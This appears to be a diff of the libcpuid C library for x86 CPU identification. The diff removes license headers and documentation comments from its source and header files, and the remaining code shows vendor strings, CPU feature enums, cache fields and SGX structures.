void exec_cpuid(uint32_t *regs); void exec_cpuid(uint32_t *regs);
void busy_sse_loop(int cycles); void busy_sse_loop(int cycles);
#endif /* __ASM_BITS_H__ */ #endif

View file

@ -1,28 +1,3 @@
/*
* Copyright 2008 Veselin Georgiev,
* anrieffNOSPAM @ mgail_DOT.com (convert to gmail)
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "libcpuid.h" #include "libcpuid.h"
#include "libcpuid_internal.h" #include "libcpuid_internal.h"
#include "recog_intel.h" #include "recog_intel.h"
@ -36,7 +11,7 @@
#include <string.h> #include <string.h>
#include <stdlib.h> #include <stdlib.h>
/* Implementation: */
static int _libcpiud_errno = ERR_OK; static int _libcpiud_errno = ERR_OK;
@ -55,7 +30,7 @@ static void cpu_id_t_constructor(struct cpu_id_t* id)
id->sse_size = -1; id->sse_size = -1;
} }
/* get_total_cpus() system specific code: uses OS routines to determine total number of CPUs */
#ifdef __APPLE__ #ifdef __APPLE__
#include <unistd.h> #include <unistd.h>
#include <mach/clock_types.h> #include <mach/clock_types.h>
@ -118,13 +93,10 @@ static int get_total_cpus(void)
static int warning_printed = 0; static int warning_printed = 0;
if (!warning_printed) { if (!warning_printed) {
warning_printed = 1; warning_printed = 1;
warnf("Your system is not supported by libcpuid -- don't know how to detect the\n");
warnf("total number of CPUs on your system. It will be reported as 1.\n");
printf("Please use cpu_id_t.logical_cpus field instead.\n");
} }
return 1; return 1;
} }
#endif /* GET_TOTAL_CPUS_DEFINED */ #endif
static void load_features_common(struct cpu_raw_data_t* raw, struct cpu_id_t* data) static void load_features_common(struct cpu_raw_data_t* raw, struct cpu_id_t* data)
@ -203,7 +175,7 @@ static void load_features_common(struct cpu_raw_data_t* raw, struct cpu_id_t* da
match_features(matchtable_edx87, COUNT_OF(matchtable_edx87), raw->ext_cpuid[7][3], data); match_features(matchtable_edx87, COUNT_OF(matchtable_edx87), raw->ext_cpuid[7][3], data);
} }
if (data->flags[CPU_FEATURE_SSE]) { if (data->flags[CPU_FEATURE_SSE]) {
/* apply guesswork to check if the SSE unit width is 128 bit */
switch (data->vendor) { switch (data->vendor) {
case VENDOR_AMD: case VENDOR_AMD:
data->sse_size = (data->ext_family >= 16 && data->ext_family != 17) ? 128 : 64; data->sse_size = (data->ext_family >= 16 && data->ext_family != 17) ? 128 : 64;
@ -214,8 +186,6 @@ static void load_features_common(struct cpu_raw_data_t* raw, struct cpu_id_t* da
default: default:
break; break;
} }
/* leave the CPU_FEATURE_128BIT_SSE_AUTH 0; the advanced per-vendor detection routines
* will set it accordingly if they detect the needed bit */
} }
} }
@ -225,7 +195,7 @@ static cpu_vendor_t cpuid_vendor_identify(const uint32_t *raw_vendor, char *vend
cpu_vendor_t vendor = VENDOR_UNKNOWN; cpu_vendor_t vendor = VENDOR_UNKNOWN;
const struct { cpu_vendor_t vendor; char match[16]; } const struct { cpu_vendor_t vendor; char match[16]; }
matchtable[NUM_CPU_VENDORS] = { matchtable[NUM_CPU_VENDORS] = {
/* source: http://www.sandpile.org/ia32/cpuid.htm */
{ VENDOR_INTEL , "GenuineIntel" }, { VENDOR_INTEL , "GenuineIntel" },
{ VENDOR_AMD , "AuthenticAMD" }, { VENDOR_AMD , "AuthenticAMD" },
{ VENDOR_CYRIX , "CyrixInstead" }, { VENDOR_CYRIX , "CyrixInstead" },
@ -243,7 +213,7 @@ static cpu_vendor_t cpuid_vendor_identify(const uint32_t *raw_vendor, char *vend
memcpy(vendor_str + 8, &raw_vendor[2], 4); memcpy(vendor_str + 8, &raw_vendor[2], 4);
vendor_str[12] = 0; vendor_str[12] = 0;
/* Determine vendor: */
for (i = 0; i < NUM_CPU_VENDORS; i++) for (i = 0; i < NUM_CPU_VENDORS; i++)
if (!strcmp(vendor_str, matchtable[i].match)) { if (!strcmp(vendor_str, matchtable[i].match)) {
vendor = matchtable[i].vendor; vendor = matchtable[i].vendor;
@ -275,7 +245,7 @@ static int cpuid_basic_identify(struct cpu_raw_data_t* raw, struct cpu_id_t* dat
} }
ext = raw->ext_cpuid[0][0] - 0x8000000; ext = raw->ext_cpuid[0][0] - 0x8000000;
/* obtain the brand string, if present: */
if (ext >= 4) { if (ext >= 4) {
for (i = 0; i < 3; i++) for (i = 0; i < 3; i++)
for (j = 0; j < 4; j++) for (j = 0; j < 4; j++)
@ -292,7 +262,7 @@ static int cpuid_basic_identify(struct cpu_raw_data_t* raw, struct cpu_id_t* dat
return set_error(ERR_OK); return set_error(ERR_OK);
} }
/* Interface: */
int cpuid_get_total_cpus(void) int cpuid_get_total_cpus(void)
{ {

View file

@ -1,33 +1,3 @@
/*
* Copyright 2016 Veselin Georgiev,
* anrieffNOSPAM @ mgail_DOT.com (convert to gmail)
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
* This file contains a list of internal codes we use in detection. It is
* of no external use and isn't a complete list of intel products.
*/
CODE2(PENTIUM, 2000), CODE2(PENTIUM, 2000),
CODE(IRWIN), CODE(IRWIN),

View file

@ -1,677 +1,291 @@
/*
* Copyright 2008 Veselin Georgiev,
* anrieffNOSPAM @ mgail_DOT.com (convert to gmail)
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef __LIBCPUID_H__ #ifndef __LIBCPUID_H__
#define __LIBCPUID_H__ #define __LIBCPUID_H__
/**
* \file libcpuid.h
* \author Veselin Georgiev
* \date Oct 2008
* \version 0.4.0
*
* Version history:
*
* * 0.1.0 (2008-10-15): initial adaptation from wxfractgui sources
* * 0.1.1 (2009-07-06): Added intel_fn11 fields to cpu_raw_data_t to handle
* new processor topology enumeration required on Core i7
* * 0.1.2 (2009-09-26): Added support for MSR reading through self-extracting
* kernel driver on Win32.
* * 0.1.3 (2010-04-20): Added support for greater more accurate CPU clock
* measurements with cpu_clock_by_ic()
* * 0.2.0 (2011-10-11): Support for AMD Bulldozer CPUs, 128-bit SSE unit size
* checking. A backwards-incompatible change, since the
* sizeof cpu_id_t is now different.
* * 0.2.1 (2012-05-26): Support for Ivy Bridge, and detecting the presence of
* the RdRand instruction.
* * 0.2.2 (2015-11-04): Support for newer processors up to Haswell and Vishera.
* Fix clock detection in cpu_clock_by_ic() for Bulldozer.
* More entries supported in cpu_msrinfo().
* *BSD and Solaris support (unofficial).
* * 0.3.0 (2016-07-09): Support for Skylake; MSR ops in FreeBSD; INFO_VOLTAGE
* for AMD CPUs. Level 4 cache support for Crystalwell
* (a backwards-incompatible change since the sizeof
* cpu_raw_data_t is now different).
* * 0.4.0 (2016-09-30): Better detection of AMD clock multiplier with msrinfo.
* Support for Intel SGX detection
* (a backwards-incompatible change since the sizeof
* cpu_raw_data_t and cpu_id_t is now different).
*/
/** @mainpage A simple libcpuid introduction
*
* LibCPUID provides CPU identification and access to the CPUID and RDTSC
* instructions on the x86.
* <p>
* To execute CPUID, use \ref cpu_exec_cpuid <br>
* To execute RDTSC, use \ref cpu_rdtsc <br>
* To fetch the CPUID info needed for CPU identification, use
* \ref cpuid_get_raw_data <br>
* To make sense of that data (decode, extract features), use \ref cpu_identify <br>
* To detect the CPU speed, use either \ref cpu_clock, \ref cpu_clock_by_os,
* \ref cpu_tsc_mark + \ref cpu_tsc_unmark + \ref cpu_clock_by_mark,
* \ref cpu_clock_measure or \ref cpu_clock_by_ic.
* Read carefully for pros/cons of each method. <br>
*
* To read MSRs, use \ref cpu_msr_driver_open to get a handle, and then
* \ref cpu_rdmsr for querying abilities. Some MSR decoding is available on recent
* CPUs, and can be queried through \ref cpu_msrinfo; the various types of queries
* are described in \ref cpu_msrinfo_request_t.
* </p>
*/
/** @defgroup libcpuid LibCPUID
@{ */
/* Include some integer type specifications: */
#include "libcpuid_types.h" #include "libcpuid_types.h"
/* Some limits and other constants */
#include "libcpuid_constants.h" #include "libcpuid_constants.h"
#ifdef __cplusplus #ifdef __cplusplus
extern "C" { extern "C" {
#endif #endif
/**
* @brief CPU vendor, as guessed from the Vendor String.
*/
typedef enum { typedef enum {
VENDOR_INTEL = 0, /*!< Intel CPU */ VENDOR_INTEL = 0,
VENDOR_AMD, /*!< AMD CPU */ VENDOR_AMD,
VENDOR_CYRIX, /*!< Cyrix CPU */ VENDOR_CYRIX,
VENDOR_NEXGEN, /*!< NexGen CPU */ VENDOR_NEXGEN,
VENDOR_TRANSMETA, /*!< Transmeta CPU */ VENDOR_TRANSMETA,
VENDOR_UMC, /*!< x86 CPU by UMC */ VENDOR_UMC,
VENDOR_CENTAUR, /*!< x86 CPU by IDT */ VENDOR_CENTAUR,
VENDOR_RISE, /*!< x86 CPU by Rise Technology */ VENDOR_RISE,
VENDOR_SIS, /*!< x86 CPU by SiS */ VENDOR_SIS,
VENDOR_NSC, /*!< x86 CPU by National Semiconductor */ VENDOR_NSC,
NUM_CPU_VENDORS, /*!< Valid CPU vendor ids: 0..NUM_CPU_VENDORS - 1 */ NUM_CPU_VENDORS,
VENDOR_UNKNOWN = -1, VENDOR_UNKNOWN = -1,
} cpu_vendor_t; } cpu_vendor_t;
#define NUM_CPU_VENDORS NUM_CPU_VENDORS #define NUM_CPU_VENDORS NUM_CPU_VENDORS
/**
* @brief Contains just the raw CPUID data.
*
* This contains only the most basic CPU data, required to do identification
* and feature recognition. Every processor should be identifiable using this
* data only.
*/
struct cpu_raw_data_t { struct cpu_raw_data_t {
/** contains results of CPUID for eax = 0, 1, ...*/
uint32_t basic_cpuid[MAX_CPUID_LEVEL][4]; uint32_t basic_cpuid[MAX_CPUID_LEVEL][4];
/** contains results of CPUID for eax = 0x80000000, 0x80000001, ...*/
uint32_t ext_cpuid[MAX_EXT_CPUID_LEVEL][4]; uint32_t ext_cpuid[MAX_EXT_CPUID_LEVEL][4];
/** when the CPU is intel and it supports deterministic cache
information: this contains the results of CPUID for eax = 4
and ecx = 0, 1, ... */
uint32_t intel_fn4[MAX_INTELFN4_LEVEL][4]; uint32_t intel_fn4[MAX_INTELFN4_LEVEL][4];
/** when the CPU is intel and it supports leaf 0Bh (Extended Topology
enumeration leaf), this stores the result of CPUID with
eax = 11 and ecx = 0, 1, 2... */
uint32_t intel_fn11[MAX_INTELFN11_LEVEL][4]; uint32_t intel_fn11[MAX_INTELFN11_LEVEL][4];
/** when the CPU is intel and supports leaf 12h (SGX enumeration leaf),
* this stores the result of CPUID with eax = 0x12 and
* ecx = 0, 1, 2... */
uint32_t intel_fn12h[MAX_INTELFN12H_LEVEL][4]; uint32_t intel_fn12h[MAX_INTELFN12H_LEVEL][4];
/** when the CPU is intel and supports leaf 14h (Intel Processor Trace
* capabilities leaf).
* this stores the result of CPUID with eax = 0x12 and
* ecx = 0, 1, 2... */
uint32_t intel_fn14h[MAX_INTELFN14H_LEVEL][4]; uint32_t intel_fn14h[MAX_INTELFN14H_LEVEL][4];
}; };
/**
* @brief This contains information about SGX features of the processor
* Example usage:
* @code
* ...
* struct cpu_raw_data_t raw;
* struct cpu_id_t id;
*
* if (cpuid_get_raw_data(&raw) == 0 && cpu_identify(&raw, &id) == 0 && id.sgx.present) {
* printf("SGX is present.\n");
* printf("SGX1 instructions: %s.\n", id.sgx.flags[INTEL_SGX1] ? "present" : "absent");
* printf("SGX2 instructions: %s.\n", id.sgx.flags[INTEL_SGX2] ? "present" : "absent");
* printf("Max 32-bit enclave size: 2^%d bytes.\n", id.sgx.max_enclave_32bit);
* printf("Max 64-bit enclave size: 2^%d bytes.\n", id.sgx.max_enclave_64bit);
* for (int i = 0; i < id.sgx.num_epc_sections; i++) {
* struct cpu_epc_t epc = cpuid_get_epc(i, NULL);
* printf("EPC section #%d: address = %x, size = %d bytes.\n", epc.address, epc.size);
* }
* } else {
* printf("SGX is not present.\n");
* }
* @endcode
*/
struct cpu_sgx_t { struct cpu_sgx_t {
/** Whether SGX is present (boolean) */
uint32_t present; uint32_t present;
/** Max enclave size in 32-bit mode. This is a power-of-two value:
* if it is "31", then the max enclave size is 2^31 bytes (2 GiB).
*/
uint8_t max_enclave_32bit; uint8_t max_enclave_32bit;
/** Max enclave size in 64-bit mode. This is a power-of-two value:
* if it is "36", then the max enclave size is 2^36 bytes (64 GiB).
*/
uint8_t max_enclave_64bit; uint8_t max_enclave_64bit;
/**
* contains SGX feature flags. See the \ref cpu_sgx_feature_t
* "INTEL_SGX*" macros below.
*/
uint8_t flags[SGX_FLAGS_MAX]; uint8_t flags[SGX_FLAGS_MAX];
/** number of Enclave Page Cache (EPC) sections. Info for each
* section is available through the \ref cpuid_get_epc() function
*/
int num_epc_sections; int num_epc_sections;
/** bit vector of the supported extended features that can be written
* to the MISC region of the SSA (Save State Area)
*/
uint32_t misc_select; uint32_t misc_select;
/** a bit vector of the attributes that can be set to SECS.ATTRIBUTES
* via ECREATE. Corresponds to bits 0-63 (incl.) of SECS.ATTRIBUTES.
*/
uint64_t secs_attributes; uint64_t secs_attributes;
/** a bit vector of the bits that can be set in the XSAVE feature
* request mask; Corresponds to bits 64-127 of SECS.ATTRIBUTES.
*/
uint64_t secs_xfrm; uint64_t secs_xfrm;
}; };
/**
* @brief This contains the recognized CPU features/info
*/
struct cpu_id_t { struct cpu_id_t {
/** contains the CPU vendor string, e.g. "GenuineIntel" */
char vendor_str[VENDOR_STR_MAX]; char vendor_str[VENDOR_STR_MAX];
/** contains the brand string, e.g. "Intel(R) Xeon(TM) CPU 2.40GHz" */
char brand_str[BRAND_STR_MAX]; char brand_str[BRAND_STR_MAX];
/** contains the recognized CPU vendor */
cpu_vendor_t vendor;
/** cpu_vendor_t vendor;
* contain CPU flags. Used to test for features. See
* the \ref cpu_feature_t "CPU_FEATURE_*" macros below.
* @see Features
*/
uint8_t flags[CPU_FLAGS_MAX]; uint8_t flags[CPU_FLAGS_MAX];
/** CPU family */
int32_t family; int32_t family;
/** CPU model */
int32_t model; int32_t model;
/** CPU stepping */
int32_t stepping; int32_t stepping;
/** CPU extended family */
int32_t ext_family; int32_t ext_family;
/** CPU extended model */
int32_t ext_model; int32_t ext_model;
/** Number of CPU cores on the current processor */
int32_t num_cores; int32_t num_cores;
/**
* Number of logical processors on the current processor.
* Could be more than the number of physical cores,
* e.g. when the processor has HyperThreading.
*/
int32_t num_logical_cpus; int32_t num_logical_cpus;
/**
* The total number of logical processors.
* The same value is availabe through \ref cpuid_get_total_cpus.
*
* This is num_logical_cpus * {total physical processors in the system}
* (but only on a real system, under a VM this number may be lower).
*
* If you're writing a multithreaded program and you want to run it on
* all CPUs, this is the number of threads you need.
*
* @note in a VM, this will exactly match the number of CPUs set in
* the VM's configuration.
*
*/
int32_t total_logical_cpus; int32_t total_logical_cpus;
/**
* L1 data cache size in KB. Could be zero, if the CPU lacks cache.
* If the size cannot be determined, it will be -1.
*/
int32_t l1_data_cache; int32_t l1_data_cache;
/**
* L1 instruction cache size in KB. Could be zero, if the CPU lacks
* cache. If the size cannot be determined, it will be -1.
* @note On some Intel CPUs, whose instruction cache is in fact
* a trace cache, the size will be expressed in K uOps.
*/
int32_t l1_instruction_cache; int32_t l1_instruction_cache;
/**
* L2 cache size in KB. Could be zero, if the CPU lacks L2 cache.
* If the size of the cache could not be determined, it will be -1
*/
int32_t l2_cache; int32_t l2_cache;
/** L3 cache size in KB. Zero on most systems */
int32_t l3_cache; int32_t l3_cache;
/** L4 cache size in KB. Zero on most systems */
int32_t l4_cache; int32_t l4_cache;
/** Cache associativity for the L1 data cache. -1 if undetermined */
int32_t l1_assoc; int32_t l1_assoc;
/** Cache associativity for the L2 cache. -1 if undetermined */
int32_t l2_assoc; int32_t l2_assoc;
/** Cache associativity for the L3 cache. -1 if undetermined */
int32_t l3_assoc; int32_t l3_assoc;
/** Cache associativity for the L4 cache. -1 if undetermined */
int32_t l4_assoc; int32_t l4_assoc;
/** Cache-line size for L1 data cache. -1 if undetermined */
int32_t l1_cacheline; int32_t l1_cacheline;
/** Cache-line size for L2 cache. -1 if undetermined */
int32_t l2_cacheline; int32_t l2_cacheline;
/** Cache-line size for L3 cache. -1 if undetermined */
int32_t l3_cacheline; int32_t l3_cacheline;
/** Cache-line size for L4 cache. -1 if undetermined */
int32_t l4_cacheline;
/** int32_t l4_cacheline;
* The brief and human-friendly CPU codename, which was recognized.<br>
* Examples:
* @code
* +--------+--------+-------+-------+-------+---------------------------------------+-----------------------+
* | Vendor | Family | Model | Step. | Cache | Brand String | cpu_id_t.cpu_codename |
* +--------+--------+-------+-------+-------+---------------------------------------+-----------------------+
* | AMD | 6 | 8 | 0 | 256 | (not available - will be ignored) | "K6-2" |
* | Intel | 15 | 2 | 5 | 512 | "Intel(R) Xeon(TM) CPU 2.40GHz" | "Xeon (Prestonia)" |
* | Intel | 6 | 15 | 11 | 4096 | "Intel(R) Core(TM)2 Duo CPU E6550..." | "Conroe (Core 2 Duo)" |
* | AMD | 15 | 35 | 2 | 1024 | "Dual Core AMD Opteron(tm) Proces..." | "Opteron (Dual Core)" |
* +--------+--------+-------+-------+-------+---------------------------------------+-----------------------+
* @endcode
*/
char cpu_codename[64]; char cpu_codename[64];
/** SSE execution unit size (64 or 128; -1 if N/A) */
int32_t sse_size;
/** int32_t sse_size;
* contain miscellaneous detection information. Used to test about specifics of
* certain detected features. See \ref cpu_hint_t "CPU_HINT_*" macros below.
* @see Hints
*/
uint8_t detection_hints[CPU_HINTS_MAX]; uint8_t detection_hints[CPU_HINTS_MAX];
/** contains information about SGX features if the processor, if present */
struct cpu_sgx_t sgx; struct cpu_sgx_t sgx;
}; };
/**
* @brief CPU feature identifiers
*
* Usage:
* @code
* ...
* struct cpu_raw_data_t raw;
* struct cpu_id_t id;
* if (cpuid_get_raw_data(&raw) == 0 && cpu_identify(&raw, &id) == 0) {
* if (id.flags[CPU_FEATURE_SSE2]) {
* // The CPU has SSE2...
* ...
* } else {
* // no SSE2
* }
* } else {
* // processor cannot be determined.
* }
* @endcode
*/
typedef enum { typedef enum {
CPU_FEATURE_FPU = 0, /*!< Floating point unit */ CPU_FEATURE_FPU = 0,
CPU_FEATURE_VME, /*!< Virtual mode extension */ CPU_FEATURE_VME,
CPU_FEATURE_DE, /*!< Debugging extension */ CPU_FEATURE_DE,
CPU_FEATURE_PSE, /*!< Page size extension */ CPU_FEATURE_PSE,
CPU_FEATURE_TSC, /*!< Time-stamp counter */ CPU_FEATURE_TSC,
CPU_FEATURE_MSR, /*!< Model-specific regsisters, RDMSR/WRMSR supported */ CPU_FEATURE_MSR,
CPU_FEATURE_PAE, /*!< Physical address extension */ CPU_FEATURE_PAE,
CPU_FEATURE_MCE, /*!< Machine check exception */ CPU_FEATURE_MCE,
CPU_FEATURE_CX8, /*!< CMPXCHG8B instruction supported */ CPU_FEATURE_CX8,
CPU_FEATURE_APIC, /*!< APIC support */ CPU_FEATURE_APIC,
CPU_FEATURE_MTRR, /*!< Memory type range registers */ CPU_FEATURE_MTRR,
CPU_FEATURE_SEP, /*!< SYSENTER / SYSEXIT instructions supported */ CPU_FEATURE_SEP,
CPU_FEATURE_PGE, /*!< Page global enable */ CPU_FEATURE_PGE,
CPU_FEATURE_MCA, /*!< Machine check architecture */ CPU_FEATURE_MCA,
CPU_FEATURE_CMOV, /*!< CMOVxx instructions supported */ CPU_FEATURE_CMOV,
CPU_FEATURE_PAT, /*!< Page attribute table */ CPU_FEATURE_PAT,
CPU_FEATURE_PSE36, /*!< 36-bit page address extension */ CPU_FEATURE_PSE36,
CPU_FEATURE_PN, /*!< Processor serial # implemented (Intel P3 only) */ CPU_FEATURE_PN,
CPU_FEATURE_CLFLUSH, /*!< CLFLUSH instruction supported */ CPU_FEATURE_CLFLUSH,
CPU_FEATURE_DTS, /*!< Debug store supported */ CPU_FEATURE_DTS,
CPU_FEATURE_ACPI, /*!< ACPI support (power states) */ CPU_FEATURE_ACPI,
CPU_FEATURE_MMX, /*!< MMX instruction set supported */ CPU_FEATURE_MMX,
CPU_FEATURE_FXSR, /*!< FXSAVE / FXRSTOR supported */ CPU_FEATURE_FXSR,
CPU_FEATURE_SSE, /*!< Streaming-SIMD Extensions (SSE) supported */ CPU_FEATURE_SSE,
CPU_FEATURE_SSE2, /*!< SSE2 instructions supported */ CPU_FEATURE_SSE2,
CPU_FEATURE_SS, /*!< Self-snoop */ CPU_FEATURE_SS,
CPU_FEATURE_HT, /*!< Hyper-threading supported (but might be disabled) */ CPU_FEATURE_HT,
CPU_FEATURE_TM, /*!< Thermal monitor */ CPU_FEATURE_TM,
CPU_FEATURE_IA64, /*!< IA64 supported (Itanium only) */ CPU_FEATURE_IA64,
CPU_FEATURE_PBE, /*!< Pending-break enable */ CPU_FEATURE_PBE,
CPU_FEATURE_PNI, /*!< PNI (SSE3) instructions supported */ CPU_FEATURE_PNI,
CPU_FEATURE_PCLMUL, /*!< PCLMULQDQ instruction supported */ CPU_FEATURE_PCLMUL,
CPU_FEATURE_DTS64, /*!< 64-bit Debug store supported */ CPU_FEATURE_DTS64,
CPU_FEATURE_MONITOR, /*!< MONITOR / MWAIT supported */ CPU_FEATURE_MONITOR,
CPU_FEATURE_DS_CPL, /*!< CPL Qualified Debug Store */ CPU_FEATURE_DS_CPL,
CPU_FEATURE_VMX, /*!< Virtualization technology supported */ CPU_FEATURE_VMX,
CPU_FEATURE_SMX, /*!< Safer mode exceptions */ CPU_FEATURE_SMX,
CPU_FEATURE_EST, /*!< Enhanced SpeedStep */ CPU_FEATURE_EST,
CPU_FEATURE_TM2, /*!< Thermal monitor 2 */ CPU_FEATURE_TM2,
CPU_FEATURE_SSSE3, /*!< SSSE3 instructionss supported (this is different from SSE3!) */ CPU_FEATURE_SSSE3,
CPU_FEATURE_CID, /*!< Context ID supported */ CPU_FEATURE_CID,
CPU_FEATURE_CX16, /*!< CMPXCHG16B instruction supported */ CPU_FEATURE_CX16,
CPU_FEATURE_XTPR, /*!< Send Task Priority Messages disable */ CPU_FEATURE_XTPR,
CPU_FEATURE_PDCM, /*!< Performance capabilities MSR supported */ CPU_FEATURE_PDCM,
CPU_FEATURE_DCA, /*!< Direct cache access supported */ CPU_FEATURE_DCA,
CPU_FEATURE_SSE4_1, /*!< SSE 4.1 instructions supported */ CPU_FEATURE_SSE4_1,
CPU_FEATURE_SSE4_2, /*!< SSE 4.2 instructions supported */ CPU_FEATURE_SSE4_2,
CPU_FEATURE_SYSCALL, /*!< SYSCALL / SYSRET instructions supported */ CPU_FEATURE_SYSCALL,
CPU_FEATURE_XD, /*!< Execute disable bit supported */ CPU_FEATURE_XD,
CPU_FEATURE_MOVBE, /*!< MOVBE instruction supported */ CPU_FEATURE_MOVBE,
CPU_FEATURE_POPCNT, /*!< POPCNT instruction supported */ CPU_FEATURE_POPCNT,
CPU_FEATURE_AES, /*!< AES* instructions supported */ CPU_FEATURE_AES,
CPU_FEATURE_XSAVE, /*!< XSAVE/XRSTOR/etc instructions supported */ CPU_FEATURE_XSAVE,
CPU_FEATURE_OSXSAVE, /*!< non-privileged copy of OSXSAVE supported */ CPU_FEATURE_OSXSAVE,
CPU_FEATURE_AVX, /*!< Advanced vector extensions supported */ CPU_FEATURE_AVX,
CPU_FEATURE_MMXEXT, /*!< AMD MMX-extended instructions supported */ CPU_FEATURE_MMXEXT,
CPU_FEATURE_3DNOW, /*!< AMD 3DNow! instructions supported */ CPU_FEATURE_3DNOW,
CPU_FEATURE_3DNOWEXT, /*!< AMD 3DNow! extended instructions supported */ CPU_FEATURE_3DNOWEXT,
CPU_FEATURE_NX, /*!< No-execute bit supported */ CPU_FEATURE_NX,
CPU_FEATURE_FXSR_OPT, /*!< FFXSR: FXSAVE and FXRSTOR optimizations */ CPU_FEATURE_FXSR_OPT,
CPU_FEATURE_RDTSCP, /*!< RDTSCP instruction supported (AMD-only) */ CPU_FEATURE_RDTSCP,
CPU_FEATURE_LM, /*!< Long mode (x86_64/EM64T) supported */ CPU_FEATURE_LM,
CPU_FEATURE_LAHF_LM, /*!< LAHF/SAHF supported in 64-bit mode */ CPU_FEATURE_LAHF_LM,
CPU_FEATURE_CMP_LEGACY, /*!< core multi-processing legacy mode */ CPU_FEATURE_CMP_LEGACY,
CPU_FEATURE_SVM, /*!< AMD Secure virtual machine */ CPU_FEATURE_SVM,
CPU_FEATURE_ABM, /*!< LZCNT instruction support */ CPU_FEATURE_ABM,
CPU_FEATURE_MISALIGNSSE,/*!< Misaligned SSE supported */ CPU_FEATURE_MISALIGNSSE,
CPU_FEATURE_SSE4A, /*!< SSE 4a from AMD */ CPU_FEATURE_SSE4A,
CPU_FEATURE_3DNOWPREFETCH, /*!< PREFETCH/PREFETCHW support */ CPU_FEATURE_3DNOWPREFETCH,
CPU_FEATURE_OSVW, /*!< OS Visible Workaround (AMD) */ CPU_FEATURE_OSVW,
CPU_FEATURE_IBS, /*!< Instruction-based sampling */ CPU_FEATURE_IBS,
CPU_FEATURE_SSE5, /*!< SSE 5 instructions supported (deprecated, will never be 1) */ CPU_FEATURE_SSE5,
CPU_FEATURE_SKINIT, /*!< SKINIT / STGI supported */ CPU_FEATURE_SKINIT,
CPU_FEATURE_WDT, /*!< Watchdog timer support */ CPU_FEATURE_WDT,
CPU_FEATURE_TS, /*!< Temperature sensor */ CPU_FEATURE_TS,
CPU_FEATURE_FID, /*!< Frequency ID control */ CPU_FEATURE_FID,
CPU_FEATURE_VID, /*!< Voltage ID control */ CPU_FEATURE_VID,
CPU_FEATURE_TTP, /*!< THERMTRIP */ CPU_FEATURE_TTP,
CPU_FEATURE_TM_AMD, /*!< AMD-specified hardware thermal control */ CPU_FEATURE_TM_AMD,
CPU_FEATURE_STC, /*!< Software thermal control */ CPU_FEATURE_STC,
CPU_FEATURE_100MHZSTEPS,/*!< 100 MHz multiplier control */ CPU_FEATURE_100MHZSTEPS,
CPU_FEATURE_HWPSTATE, /*!< Hardware P-state control */ CPU_FEATURE_HWPSTATE,
CPU_FEATURE_CONSTANT_TSC, /*!< TSC ticks at constant rate */ CPU_FEATURE_CONSTANT_TSC,
CPU_FEATURE_XOP, /*!< The XOP instruction set (same as the old CPU_FEATURE_SSE5) */ CPU_FEATURE_XOP,
